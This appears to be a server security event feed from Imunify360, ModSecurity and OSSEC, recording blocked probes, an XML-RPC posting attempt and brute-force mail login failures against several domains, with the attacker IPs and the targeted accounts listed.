domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/http-kernel/Tests/Fixtures/ChildBundle/Resources HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.225.141.67
country_id: 3469034
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/http-kernel/Tests/Fixtures/ChildBundle/Resources/ HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 23:44:36 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account munch has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 23:44:15 dovecot_login authenticator failed for H=(zDRj6ZK4t) [158.94.208.175]:59851: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 23:44:36 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account munch has been temporarily locked by Imunify PAM(178.16.54.22)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 23:44:07 dovecot_login authenticator failed for H=(8Q5ZQE) [178.16.54.22]:55035: 535 Incorrect authentication data (set_id=cklee@ktlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 23:44:22 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:49369: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 23:44:11 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:39762: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 23:45:10 dovecot_login authenticator failed for H=(9iIA0sf) [178.16.54.22]:49917: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 23:45:15 dovecot_login authenticator failed for H=(s4EwdLjrAI) [178.16.52.139]:59074: 535 Incorrect authentication data (set_id=mkmadmin@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 23:45:01 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:50312: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.247.24.116
country_id: 1814991
description:
2026-02-01 23:45:37 dovecot_login authenticator failed for H=([127.0.0.1]) [58.247.24.116]:41986: 535 Incorrect authentication data (set_id=firdaus@essemgroup.net)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.173
country_id: 2635167
description:
2026-02-01 23:45:30 246573 [Warning] Aborted connection 246573 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.173' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 23:45:02 dovecot_login authenticator failed for H=(e4nD5nB) [158.94.208.175]:60483: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 106.219.146.45
country_id: 1269750
domain: af-sb.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.af-sb.com||ServerName:af-sb.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2461ee9db05f27b6128239c95768d8bd999bcd17||Title:0xd2bf5b4a||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.164.174.192
country_id: 2017370
description:
2026-02-01 23:45:43 dovecot_login authenticator failed for H=([127.0.0.1]) [212.164.174.192]:41659: 535 Incorrect authentication data (set_id=firdaus)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 23:45:00 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account munch has been temporarily locked by Imunify PAM(158.94.208.175)


